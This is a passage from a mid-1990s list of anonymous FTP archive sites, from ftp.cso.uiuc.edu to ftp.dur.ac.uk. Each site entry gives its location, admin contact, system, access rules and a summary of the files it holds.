ftp://ftp.cso.uiuc.edu/ +Comment: directory: doc/pcnet/compression +Files : Amiga; BBS; Compression programs/formats chart; docs; Mac; mail; + math; mods; MS-DOS: ADF, Exec-PC, PC-SIG files; mrc; net-nav; + Tandy; UIUC; Unix-PC tools + +Site : ftp.csrl.aoyama.ac.jp +Country: Japan +GMT : +9 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : kepa.csrl.aoyama.ac.jp +Admin : +Organ : Aoyama University? +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.csrl.aoyama.ac.jp/ +Comment: +Files : CMU Lisp; dylan; genera latex; GNU; graphers; landscape; lisp docs; + lisp src; net misc.; oopsla90; scsh; WCL; winsock; YYonX + +Site : ftp.css.cdc.com +Country: USA +GMT : +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : quixote.css.cdc.com +Admin : +Organ : CDC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.css.cdc.com/ +Comment: +Files : abb; abelseth; ahisa; aria_rn; arm; Art folder; asm; Boeing; boutet; + BSH; C++; cdsParis; ceab3; Chrysler; coewes; DASA; dbxstring; dew; + edlfixes; email; ems; EPC; epicurean; epix; epx; fads; fish; france; + gabi; goodies; Honeywell; HP; icem systems; IRIX0109; IRIX5.2 rn; + Josh; least squares; mailhub; metaphase; mexico; mh-fixes; mh-tools; + mhs-ds; mmc; mmdd; MRZ; ndp; NMFS; norwest; NRL; nsc; odn; oracle; + oregon; perl; popd; quix2; quxiote; RFCs; rdt; rrs; rrs X.25; SGI; + Siemens pn; solver; Sun; tci; UMN; UWO; usacoe; vista; widener + +Site : ftp.csua.berkeley.edu +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : scotch.csua.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California, + Computer Science Undergraduate Assocation +Server : +System : Unix +URL : ftp://ftp.csua.berkeley.edu/ +Comment: successor of soda.berkeley.edu +Files : archie; ars-magica; btech; campus-maps; cd-rom; cerebus; chaosium; + classes; corewar; crossfire; culture; ctulhu; Cypherpunks archive; + dikued; eap; enscriptor; evers; frua; frudge; go-bears archive; + help-sessions; hiking-club; ikiru; Linux; lpf; Mach; mcb130; + net-growth; Netrek; NNTPscan; novel; palladium; quayletool; + rec.gambling; rpg-index; runequest; scheme_class; Sequent; sfraves; + sockets; storyteller; strangeness; sugar; the4thnation; typing + injury FAQ; vt100.animation; war_cry; wordoftheday; wortzumtag; + X11R5; xbattlefront + +Site : ftp.csuohio.edu +Country: USA +GMT : +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : CSU Ohio +Server : gopher +System : Unix (NeXT 1.0, NeXTStep) +URL : ftp://ftp.csuohio.edu/ +Comment: +Files : CSU (Mac, MS-DOS, Windows: misc SLIP software configured for CSU); + news: alt.sources, alt.sources.{amiga,d,index,mac,mac.d, + patches,wanted}, bit.listserv.{notis-l,novell}, + comp.infosystems.gopher, comp.os.vms, comp.protocols.tcp-ip, + comp.protocols.tcp-ip.{domains,ibmpc}, comp.soft-sys.nextstep, + comp.sources.{misc,unix,x}, comp.sys.dec, comp.sys.dec.micro, + comp.sys.next, comp.sys.next.{advocacy,announce,bugs,hardware, + marketplace,misc,programmer,software,sysadmin}, comp.sys.novell, + comp.sys.sun.{admin,announce,apps,hardware,misc,wanted}, + comp.unix.osf.{misc,osf1}, comp.unix.solaris, comp.unix.ultrix + +Site : ftp.ctpm.uq.oz.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : ftp@ctpm.uq.oz.au +Organ : University of Queensland, Brisbane, Centre for Tropical Pest + Management +Server : +System : Unix +URL : ftp://ftp.ctpm.uq.oz.au/ +Comment: transfers are logged; most of the material here is gathered from + elsewhere, if you're not in Australia try to look look closer to + home; uploads to /tmp, mail the admin if you leave something +Files : diagnosis; Linux (kernel, Slackware) + +Site : ftp.ctr.columbia.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : sol.ctr.columbia.edu +Admin : archivist@ctr.columbia.edu; ftp-bugs@columbia.edu +Organ : Columbia University, New York, New York, Center for + Telecommunications Research +Server : +System : Unix (Sun 4/25) +URL : ftp://ftp.ctr.columbia.edu/ +Comment: one of the successors of columbia.edu/ftp.columbia.edu; read + the README files: README, README.HOMES, README.ftp-features +Files : Seth Robertson's programs; CTR Research material; networking apps; + DES; Sun checkpoint + +Site : ftp.ctrl-c.liu.se +Country: Sweden +GMT : +1 +Date : 29-Sep-94 +Source : martin@angela.ctrl-c.liu.se (Martin Persson) +Alias : angela.ctrl-c.liu.se +Admin : +Organ : Linnkoping University, Linnkoping, CTRL-C ACS +Server : +System : VAX/VMS (OpenVMS, VAX 8350) +URL : ftp://ftp.ctrl-c.liu.se/ +Comment: MadGoat FTP server +Files : images; music + +Site : ftp.cu.nih.gov +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : U.S. National Institute of Health, , , CU +Server : +System : +URL : ftp://ftp.cu.nih.gov/ +Comment: +Files : U.S. Government info files + +Site : ftp.cuhk.hk +Country: Hong Kong +GMT : +8 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : hpg30b.csc.cuhk.hk +Admin : ftp-admin@ftp.cuhk.hk +Organ : Chinese University of Hong Kong, CSC +Server : +System : Unix +URL : ftp://ftp.cuhk.hk/ +Comment: available through www.cuhk.hk: University info, Housing Design + Project, CSC publications, photos of the campus and Hong Kong; + compress and tar on the fly; max. 60 users; compress and tar + on the fly +Files : chinese newchars; cuhk; doc; events; gopher; Mac; mov; msc; info; + netinfo; news; packetdrivers; PC; ph; pictures; POP; proceedings; + RFCs; Sun-fixes; Unix; viz; WAIS; WWW + +Site : ftp.cuslm.ca +Country: Canada +GMT : -5 +Date : 30-Oct-94 +Source : jocelyn@cuslm.ca (Jocelyn Nadeau) {posting} +Alias : novl3.ci.cuslm.ca +Admin : supervisor@cuslm.ca +Organ : Centre Universitaire Saint-Louis-Maillet/Universite de Moncton + (University of Moncton), Edmonton, New Brunswick, + Centre d'Informatique (CC) +Server : mail: maiser@ftp.cuslm.ca +System : Netware (PC fileserver) +URL : ftp://ftp.cuslm.ca/ +Comment: max. connect time is 60 minutes; Read Only; current directory: / +Files : canarie; games; Internet; MIDI; MS-DOS; NB; network; powerpoint; + virus; WfW; Win3 + +Site : ftp.cv.nrao.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : polaris.cv.nrao.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.cv.nrao.edu/ +Comment: some loose files in /pub +Files : AIPS; astronomy; crypt; HARVEY; Interviews; rapsheet; trc; xsecs + +Site : ftp.cwi.nl +Country: Netherlands +GMT : +1 +Date : 10-Sep-94 +Source : Dik.Winter@cwi.nl; Sjoerd.Mullender@cwi.nl; Perry.Rovers@kub.nl +Alias : [known but not listed on request] +Admin : chip@cwi.nl +Organ : Centrum voor Wiskunde en Informatica (Centre for Mathematics and + Computer Science), Amsterdam +Server : +System : Unix +URL : ftp://ftp.cwi.nl/ +Comment: max. 25 users +Files : ABC; ADPCM lossy algorithm; audio; bootstrap; compare; concur2; + cweb; CWI: conferences, courses, drafts, location maps, Quarterly; + data; dcab; dinesh; dynload; gipe; gollum; Made; manifold; mcvl; + md5; mm papers; moorkop II; morphology; outerjoins; ozsl; parallels + project; pascal; pictures; premo; python; qvolume; RIDDLE; SGI + trace; stdwin; views + +Site : ftp.cwru.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : po.cwru.edu +Admin : +Organ : Case Western Reserve University, Cleveland, Ohio +Server : +System : Unix +URL : ftp://ftp.cwru.edu/ +Comment: +Files : adf; alt.beer; Art of Prolog; biology; FreeNet; games; hermes; + Japanese; math; Mathematica; mercury (OH Appeals 8th dist); NeXT; + picture; physics; prolog1000; security; sendmail CWRU; US Supreme + Court rulings + +Site : ftp.cybercon.nb.ca +Country: Canada +GMT : -6 +Date : 15-Dec-94 +Source : posting in news.software.readers +Alias : lyra.cybercon.nb.ca +Admin : support@cybercon.nb.ca +Organ : Cybernetic Control Inc., , New Brunswick +Server : +System : Unix (Linux, PC) +URL : ftp://ftp.cybercon.nb.ca/ +Comment: mirrored on nstn.ns.ca (/pub/pc-stuff/commset) and cs.stmarys.ca + (/pub/commset) +Files : Demo/beta version of CommSet (newsreader for DOS); Mac; MS-DOS; Unix; + Windows 3.1 + +Site : ftp.cyberspace.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : A.H.A.M.Boer@kub.nl (Arnout Boer) {posting} +Alias : case.cyberspace.com +Admin : ftp@cyberspace.com +Organ : Cyberspace +Server : +System : Unix +URL : ftp://ftp.cyberspace.com/ +Comment: denies access to hosts that don't resolve; activity is logged; + please read README but that file is not accessible for anon users +Files : archive (aviation, bolo, botham, defcon, fastjack, girls, jchaase, + mica, mtway, rodman, tierra, timoney, towe, wsantee, zone); DOS + (games, qmodem, qwk, upgrade, utils); Mac (appl, comm, compression, + extensions, games, ppp); MUD (LambdaMOO); OS/2 (IBM, network, PPP, + SLIP); PPP (Mac, Unix, Windows); Unix (FreeBSD (1.1.5.1, 2.0), + games, Linux (sunsite.unc.edu: epoch, fgrabber, lilo, slackware, + SLS, snap, sound, WordPerfect for Linux, X11), packages: layers, + qpopper, telnet); Video (CUSeeMe: extras, Mac, PC) + +Site : ftp.cyberspace.org +Country: USA +GMT : -5 +Date : 09-Jun-94 +Source : Perry.Rovers@kub.nl +Alias : grex.cyberspace.org +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.cyberspace.org/ +Comment: max. 20 users; open 24 hours; transfers are logged +Files : [pub appears empty?] + +Site : ftp.cyf-kr.edu.pl +Country: Poland +GMT : +1 +Date : 18-Aug-94 +Source : yskarock@cyf-kr.edu.pl (Piotr Karocki) +Alias : lajkonik.cyf-kr.edu.pl +Admin : yskarock@cyf-kr.edu.pl (Piotr Karocki) +Organ : CYFRONET, Cracow, Academic Computer Center +Server : +System : Unix (Convex C120) +URL : ftp://ftp.cyf-kr.edu.pl/ +Comment: max. 50 users; some directories mounted from other machines; + the alias for the machine is due to change soon +Files : agh (mounted, including GIFs in /agh/reserve/gifs); Cyfronet (local + info); ecuc94 (European Convex Users Conference); ifuj (mounted); + lfs (mounted); mirrors: AMI info (american.megatrends.com), Comm + programs (boombox.micro.umn.edu:/pub/pc), GNU, JPG viewers + (ftp.portal.com), MS-DOS (oak.oakland.edu via ftp.switch.ch), + MS-Windows (ftp.cica.indiana.edu:/pub/win3 via ftp.switch.ch), + NCSA Telnet (ftp.ncsa.uiuc.edu:/PC/Telnet), RFCs, Unix-arcers + (garbo.uwasa.fi:/unix/arcers), X11R5, X contrib + (ftp.x.org:/contrib); netinfo (mostly outdated); TeXmex; Unix + +Site : ftp.dai.ed.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : gaia.dai.ed.ac.uk +Admin : ftp-manager@aisb.ed.ac.uk +Organ : University of Edinburgh, Edinburgh, Scotland, AI dept. +Server : +System : Unix +URL : ftp://ftp.dai.ed.ac.uk/ +Comment: transfers are logged; public user directories under /pub +Files : AI (probably); cam; ga; papers; pga; siamakr; + +Site : ftp.daimi.aau.dk +Country: Denmark +GMT : +1 +Date : 20-Oct-94 +Source : admin; old ftp-list +Alias : grenoble.daimi.aau.dk +Admin : staff@daimi.aau.dk +Organ : Aarhus University, Aarhus, CS dept. of the Institute of Mathematics + (DAIMI) +Server : +System : Unix +URL : ftp://ftp.daimi.aau.dk/ +Comment: successor of daimi.aau.dk and bentley.daimi.aau.dk; everything is + logged; no uploads allowed +Files : action; beta; BRICS; CLP; DART; DeVise; emacs-lisp; LOMAPS; + Linear Logic; Linux (dprog1, ext2, poe, slackware, SNMP); oots; + PC (kermit, tiff, trine); petrinet; TAPSOFT; thesis; tlp + +Site : ftp.dana.edu +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : acad1.dana.edu +Admin : danaadmin@dana.edu +Organ : Dana College, Blair, Nebraska +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://ftp.dana.edu/ +Comment: the contents of this server are primarily documents geared towards + finding information about systems on the Internet; max. 32 users; + default directory: /SYS/GOPHER/PUB +Files : bbs; Bitnet; communit; Dana; educ; govt; guides; gutenberg; + hytelnet; libjour; mail; maillist; networks; NSFnet; periodic; + religion; RFCs; security; Unix; Zen + +Site : ftp.dante.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sun.dante.de +Admin : ftpmaint@ftp.dante.de +Organ : Comprehensive TeX Archive Network (CTAN Germany), Heidelberg +Server : +System : Unix +URL : ftp://ftp.dante.de/ +Comment: +Files : TeX (CTAN) + +Site : ftp.darmstadt.gmd.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : erde.darmstadt.gmd.de +Admin : +Organ : Gesellschaft fuer Mathematik und Datenverarbeitung (Society for + Mathematics and Informationprocessing), Darmstadt +Server : +System : +URL : ftp://ftp.darmstadt.gmd.de/ +Comment: +Files : + +Site : ftp.dartmouth.edu +Country: USA +GMT : -5 +Date : 23-Dec-94 +Source : old ftp-list +Alias : dartmouth.edu, nuevo.dartmouth.edu, dartvax.dartmouth.edu +Admin : ftp@ftp.dartmouth.edu, postmaster@darthmouth.edu +Organ : Dartmouth College +Server : ftpmail@ftp.dartmouth.edu +System : Unix +URL : ftp://ftp.dartmouth.edu/ +Comment: hostname and userid are logged for transfers +Files : ATT6300+; csmp-digest; Dante; Dartmouth stuff (rn; mail; etc.); + Exceptions; GNUplot; Hyperbooks; ICMA library; LLTI-IALL; Mac; + Prologue users; protein; PTSD; Renal-function; security; SOP; VWPROJ + +Site : ftp.datafellows.fi +Country: Finland +GMT : +1 +Date : 05-Aug-94 +Source : comp.virus/Virus-L +Alias : wavu.datafellows.fi +Admin : ftp@elma.fi, admin@datafellows.fi +Organ : Datafellows Ltd +Server : +System : Unix +URL : ftp://ftp.datafellows.fi/ +Comment: +Files : Datafellows (F-Prot demo, technical bulletins, Vineyard demo (Mac)); + Elma Oy (empty) + +Site : ftp.dataplex.net +Country: USA +GMT : -6 +Date : 19-Feb-95 +Source : admin; w8sdz@SimTel.Coast.Net (Keith Petersen) {posting} +Alias : eel.dataplex.net +Admin : rkw@dataplex.net (Richard Wackerbarth) +Organ : The Digital Dataplex, Austin, Texas +Server : +System : Unix +URL : ftp://ftp.dataplex.net/ +Comment: +Files : mirrors: FreeBSD (ftp.freebsd.org), GNU (prep.ai.mit.edu), Mac + (sumex-aim.stanford.edu), MS-DOS (garbo.uwasa.fi), MS-Windows + (ftp.cica.indiana.edu) + +Site : ftp.datasrv.co.il +Country: Israel +GMT : +2 +Date : 30-Oct-94 +Source : comp.virus/Virus-L +Alias : jerusalem1.datasrv.co.il +Admin : schilo@jerusalem1.datasrv.co.il +Organ : DataServ, Jeruzalem +Server : +System : Unix +URL : ftp://ftp.datasrv.co.il/ +Comment: downloads are logged; mirroring not permitted without permission of + the operator +Files : Datasrv customer support: Linux, PC, Unix utis; Hebrew and Jewish + software; InVirCible /pub/usr/netz; networking; security + +Site : ftp.dcc.uchile.cl +Country: Chili +GMT : -6 +Date : 10-Sep-94 +Source : hpulgar@dcc.uchile.cl (Hernan Pulgar) {posting} +Alias : tortel.dcc.uchile.cl +Admin : +Organ : Universidad de Chile (University of Chili), DCC +Server : +System : Unix +URL : ftp://ftp.dcc.uchile.cl/ +Comment: +Files : chile; dccinfo; edo; GNU; gopher; graphics; Internet; Lang; lib; + Linux (docs, Slackware, TinyX); Mac; MUD; network; news; PC (4dos, + antivirus, binaries, comm, games, graph, lang, latex, mac, network, + os2, pov, sound, uucp, vga, win); pictures [empty]; redinfo; + security [only some zip stuff]; Sinclair (almost all there is on + ftp.ijs.si); Sparc; Sun; TeX; Unix; VLDB; X11 + +Site : ftp.dcs.ed.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : Acorn FTP list as posted to news.answers +Alias : colonsay.dcs.ed.ac.uk +Admin : support@dcs.ed.ac.uk +Organ : University of Edinburgh, Edinburgh, Scotland, CS dept. +Server : +System : Unix +URL : ftp://ftp.dcs.ed.ac.uk/ +Comment: all transactions are logged; max. 10 users; server can tar and + compress on the fly +Files : Acorn; BBC; bind; cao; cap; fonts; graphics; ident; ifip; ladm; lego; + Mac; netutils; pic; POP; Postscript utils; rasmol; RFCs; TeX; Tk; + TolkLang; utils; VLSI-CAD; X11R5 + +Site : ftp.dcs.gla.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : vanuata.dcs.gla.ac.uk +Admin : support@dcs.gla.ac.uk +Organ : University of Glasgow, Glasgow, Scotland, CS dept. +Server : +System : Unix +URL : ftp://ftp.dcs.gla.ac.uk/ +Comment: access is allowed all day; available through gopher.dcs.gla.ac.uk + and www.dcs.gla.ac.uk +Files : actress; Ansible; Avalanche; BCS; fide; flare; gist; glasgow-fp; + haskell; hug94; iii; imis; Linux; Mac; merill; mail; NASA; news; + pj-lester book; recipes; src; SF archives; theory; triangle; types + +Site : ftp.dcs.kcl.ac.uk +Country: UK +GMT : 0 +Date : 11-Jul-94 +Source : alanh@dcs.kcl.ac.uk (Alan Hutchinson) +Alias : helium.dcs.kcl.ac.uk +Admin : neil@dcs.kcl.ac.uk (Neil Faulks) +Organ : King's College, London, Dept. of CS (DCS) +Server : no e-mail server +System : Unix (System V Release 4.0) +URL : ftp://ftp.dcs.kcl.ac.uk/ +Comment: +Files : achin; alg-learn; jucompiling; mail; tech-reports + +Site : ftp.dd.dk +Country: Denmark +GMT : +1 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : chico.dd.dk +Admin : ftp-admin@dd.dk +Organ : Damgaard Internation A/S +Server : +System : Unix +URL : ftp://ftp.dd.dk/ +Comment: primarily for DIAS authorized distributors but pub open to anybody; + all use of the server is logged; hosts that do not resolve or enter + a wrong e-mailaddress are rejected +Files : CASE; GNU (mirror from prep.ai.mit.edu); IBM (OS/2: 2.1 servpack, + cset++, dataglance, epm, ews, info, misc, mwave, netdoor, os2beta, + os2fixes, tcpip, visualgen, wsurf [from software.watson.ibm.com?]; + Linux (Slackware); MS-Windows (Visual Basic); SCO (mirror from + ftp.celestial.com); XAL; ZyXEL (csie-mirror, faxutil, info, rom, + voiceutil) + +Site : ftp.delftgeot.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : dg-sv1.delftgeot.nl +Admin : ftpadmin@ftp.delftgeot.nl +Organ : Grondmechanica Delft, Delft +Server : +System : Unix +URL : ftp://ftp.delftgeot.nl/ +Comment: +Files : books; gzip; modems; SGI + +Site : ftp.delmarva.com +Country: USA +GMT : -5 +Date : 19-Feb-94 +Source : John K. Scoggin Jr (scoggin@delmarva.com); old ftp-list +Alias : +Admin : postmaster@delmarva.com +Organ : Delmarva Power & Light Co., Newark, Delaware +Server : +System : Unix (SunOS 4.1.3, Sun IPC) +URL : ftp://ftp.delmarva.com/ +Comment: transfers are logged; serves as a mailreflector for the Association + of Banyan Users International (ABUI.ORG) +Files : archive for security documents in Postscript form; some Banyan VINES + software and documents; Help Desk Management System (HDMS); radio; + raid-documents; Raptor Systems firewall systems documents and mail + list; SCO; security documents; Sun; wellfleet-mibs + +Site : ftp.demon.co.uk +Country: UK +GMT : 0 +Date : 29-Nov-94 +Source : Acorn FTP list as posted to news.answers; Perry.Rovers@kub.nl +Alias : disabuse.demon.co.uk +Admin : +Organ : Demon Internet +Server : +System : Unix +URL : ftp://ftp.demon.co.uk/ +Comment: +Files : 4.3BSD; ACCU (/pub/cug); Amiga; Antivirus (comprehensive across + all platforms); Archimedes; Atari; books; commercial demos; CP/M; + CUG; Dialup IP, PGP and Usenet software; doc; games; GNU; ham-radio; + KA9Q; images; Mac; mail; MS-DOS (Simtel 20); news; NetBSD (mirror of + sun-lamp.cs.berkeley.edu); NeXt; NT; OS/2; perl; PGP; pick; PPP; + roundhill; SCO; SLIP; Sun; trumphurst; Unix; Xenix; XWindows; + XFree86 (mirror from ftp.xfree86.org) + +Site : ftp.demos.su +Country: Russia +GMT : +2 +Date : 25-Jan-95 +Source : ftp.cnit.nsk.su +Alias : surplus.demos.su +Admin : +Organ : Demos +Server : mailserv@ftp.demo.su [?] +System : Unix +URL : ftp://ftp.demos.su/ +Comment: +Files : arcers; astrology; books; databases; demo; Demos; esperanto; graph; + hosts (fantom); languages; Mac; maps; math; MS-DOS; music; net; + news; RFCs; servers [old ftp-list]; Unix + +Site : ftp.denet.dk +Country: Denmark +GMT : +1 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : ftp@ftp.denet.dk +Organ : Danish Computing Centre for Research & Education (UNI-C) and DIKU +Server : +System : Unix +URL : ftp://ftp.denet.dk/ +Comment: Open 24 hours +Files : 386BSD; collection of mib's; DENet; dictionaries; docs; GNU; IEN; + information retrieval systems; ISODE; jargon; Linux (Slackware); OS; + RFCs; security; SNMP; TeX; Unix utils; wordlists; X11 + +Site : ftp.desy.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : x4u2.desy.de +Admin : root@x4u.desy.de +Organ : Deutsche Elektronen Synchotron (German Electro-Synchotron, DESY), + Hamburg +Server : +System : +URL : ftp://ftp.desy.de/ +Comment: +Files : + +Site : ftp.dfki.uni-sb.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : +Alias : com-serv.dkfi.uni-sb.de +Admin : +Organ : Universitaet des Saarlandes (University of the Saarland), + Saerbruecken, DFKI +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.dfki.uni-sb/ +Comment: +Files : AMD; KI Zeitung (newspaper); fbps; registry; VM; XXX + +Site : ftp.dfn.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : deneb.dfn.de +Admin : hostmaster@dfn.de +Organ : , Berlin +Server : +System : +URL : ftp://ftp.dfn.de/ +Comment: +Files : DFN and OSI docs; isode; pp; RFCs; X11R5 + +Site : ftp.dfv.rwth-aachen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : thorin.dfv.rwth-aachen.de +Admin : ftp-adm@dfv.rwth-aachen.de +Organ : RWTH Aachen, Aachen +Server : +System : +URL : ftp://ftp.dfv.rwth-aachen.de/ +Comment: +Files : Linux (sunsite.unc.edu) + +Site : ftp.dhhalden.no +Country: Norway +GMT : +1 +Date : 10-Sep-94 +Source : comics/faq/part5 +Alias : fenris.dhhalden.no +Admin : ftpadmin@dhhalden.no, jonal@dhhalden.no (comics) +Organ : Ostfold College +Server : gopher.dhhalden.no +System : Unix +URL : ftp://ftp.dhhalden.no/ +Comment: max. 100 users; please stay outside of 0800-1800 local time; + uploads to /incoming +Files : Atari; comics (rec.arts.comics archive, read the FAQ for that group + on material available); cyber; dimensions; fuzzy; GIF; inet-maps; + levant; Mac; mideast; miniboard; ml; multimedia; NeXt; Novell; + pan_and_tilt; PC; sarpinger; weather + +Site : ftp.difi.unipi.it +Country: Italy +GMT : +1 +Date : 17-Apr-94 +Source : ley@rz.uni-karlruhe.de (Andreas Ley) {posting} +Alias : ipifidpt.difi.unipi.it +Admin : ftp@ipifidpt.difi.unipi.it +Organ : University of Pisa, Pisa, Physics dept. +Server : +System : Unix (IBM RISC 6000/950E) +URL : ftp://ftp.difi.unipi.it/ +Comment: Open 24 hours; max. 10 users +Files : 386ix; gated; graphics; Khoros; kinet; Linux; Mac; Mosaic; mpeg; + NetEC; preprints; Rexx; RS6000; TeX + +Site : ftp.digex.net +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : rdavis4@umbc.edu (Robert Davis) {posting} +Alias : svcs1.digex.net +Admin : +Organ : Digital Express Group Inc. +Server : +System : Unix +URL : ftp://ftp.digex.net/ +Comment: public userdirs under /pub/access, contact username@access.digex.net + for info +Files : access; avernus; bibliobytes; binaries; cbooks; crest; davei; + deckmaster; diversity; GNU; mail; mms; networking; news; + newsreaders; OS; RFCs; scibooks; shells; TeX; text-processing; + TFactors; vendor-specific; wash; X11 + +Site : ftp.digibd.com +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : gw.digibd.com +Admin : keng@digibd.com +Organ : DigiBoard +Server : http://www.digibd.com/ +System : Unix +URL : ftp://ftp.digibd.com/ +Comment: +Files : Digiboard (digifax, digiline: drivers, isdn); pub: HP4laser (lp + model for autohandling of PCL/PostScript jobs), SCO-ports, + uiarchive (archive of the defunct Unix International effort), + unixware, WWW + +Site : ftp.diku.dk +Country: Denmark +GMT : +1 +Date : 15-May-94 +Source : shotokan@diku.dk (Kim Higlund); terra@diku.dk (Morten Welinder) +Alias : odin.diku.dk +Admin : ftpadm@ftp.diku.dk +Organ : University of Copenhagen (DIKU), Copenhagen, CS dept. +Server : +System : Unix +URL : ftp://ftp.diku.dk/ +Comment: Open 24 hours; please restrict transfers of large amounts of data + to outside normal working hours, i.e. before 9a, and after 5pm MET; + several archives moved to ftp.denet.dk +Files : DIKU; elisp-archive; GNU; HP UX patches; Linux; MIB; Mirrors of the + guitar archive; networking; news.answers; programming languages; + Sun fixes + +Site : ftp.dit.upm.es +Country: Spain +GMT : +1 +Date : 16-Mar-94 +Source : pepe@dit.upm.es (Jose A. Manas) +Alias : sanson.dit.upm.es +Admin : jmanas@dit.upm.es (Jose A. Manas), postmaster@dit.upm.es +Organ : Technical University of Madrid (UPM), Telematica dept. (DIT) +Server : +System : Unix (SunOS 4.1.3, Sun 4/470) +URL : ftp://ftp.dit.upm.es/ +Comment: access allowed all day; max. 26 users; transfers are logged; server + understands compress and tar; some loose files in /pub +Files : LOTOS papers and tools; MS-DOS; vhdl + +Site : ftp.dkfz-heidelberg.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sunserver.embnet.dkfz-heidelberg.de +Admin : +Organ : DKFZ, Heidelberg +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.dkfz-heidelberg.de/ +Comment: +Files : Atlas; cica; docs; embnet; gdb; igd; Linux; MS-DOS; PostScript; UTS; + Windows3 + +Site : ftp.dkrz.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : prince.dkrz-hamburg.de, ftp.dkrz-hamburg.de +Admin : rudat@dkrz-hamburg.dbp.de, rudat@dkrz.d400.de +Organ : German Climate Computer Centre, Hamburg +Server : +System : +URL : ftp://ftp.dkrz.de/ +Comment: +Files : + +Site : ftp.dns.pt +Country: Portugal +GMT : +1 +Date : 25-Jan-95 +Source : ftp.ua.pt +Alias : ns.dns.pt +Admin : ftp@dns.pt +Organ : Fundacao Nacional para o Desenvolvimento dos Meios Nacionais de + Calculo Scientifico (FCCN), DNS-PT +Server : +System : Unix +URL : ftp://ftp.dns.pt/ +Comment: transfers are logged +Files : DNS (from ftp.uu.net/networking/ip/dns); docs (aups, + current-ietf-docs, ddn-news, earn, ebone, fyi, guides, iab, ien, + iesg, ietf, internet-drafts, maps, netinfo, nren, nsf, protocols, + rare, rfc, ripe, scc, zones); ftp-list [old!]; MS-DOS; NTP; + Portugal (dns, gov, puug, rccn); security (FIRST, NIST, + cert_advisories, clippings, cops, crypto, docs, firewalls, info, + network_tools, papers, ssphwg, tech_tips, tools, vendors, virus-l); + services; utils + +Site : ftp.doc.ic.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : PC NFS FAQ; old ftp-list +Alias : phoenix.doc.ic.ac.uk, src.doc.ic.ac.uk +Admin : wizards@doc.ic.ac.uk +Organ : Imperial College of Science, Technology and Medicine, London, + Dept. of Computing, SunSITE Northern Europe +Server : ftpmail@doc.ic.ac.uk +System : Unix (Solaris 2.3, SparcServer 1000, 6 CPUs, 30Gb diskspace) +URL : ftp://ftp.doc.ic.ac.uk/ +Comment: directory: /computing/systems/ibmpc; max. 300 users; extra + features include: ls -sf:package (searches for 'package'); + read README, README.ftp, README.layout, README.mac-users, + README.uploads +Files : Aminet; biology; faces; geology; GNU; IAFA-SITEINFO; info; literary; + media; mirrors: SimTel Software Repository (/pub/packages/simtel20), + games from ftp.uml.edu (/computing/systems/ibmpc/msdos-games/Games), + MS-Windows from ftp.cica.indiana.edu; politics; RFCs; Sun; Tcl/Tk + (packages/tcl from ftp.cs.berkeley.edu); TeX from ftp.tex.ac.uk; + UKUUG; Unix; Usenet; weather + +Site : ftp.dungeon.com +Country: +GMT : +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : +Admin : root@ftp.dungeon.com +Organ : +Server : +System : Unix +URL : ftp://ftp.dungeon.com/ +Comment: +Files : Amiga (AmiTCP, networking); cartoons [empty]; cd1 (cdrom, OS/2, + windows); dungeon (Amiga, docs, Mac, MS-DOS, news, Windows, WWW); + homeo; Linux (MOO, sunsite.unc.edu); MS-DOS (antivirus, BBS, comms, + diskutils, dtp, games, genutils, graphics, IDgames, programming, + ray-tracing, sound, StarTrek, vendor [?], win); music (BTL, + cathyden, MODs); nap + +Site : ftp.dur.ac.uk +Country: UK +GMT : 0 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : deneb.dur.ac.uk +Admin : +Organ : Durham University, Durham +Server : +System : Unix 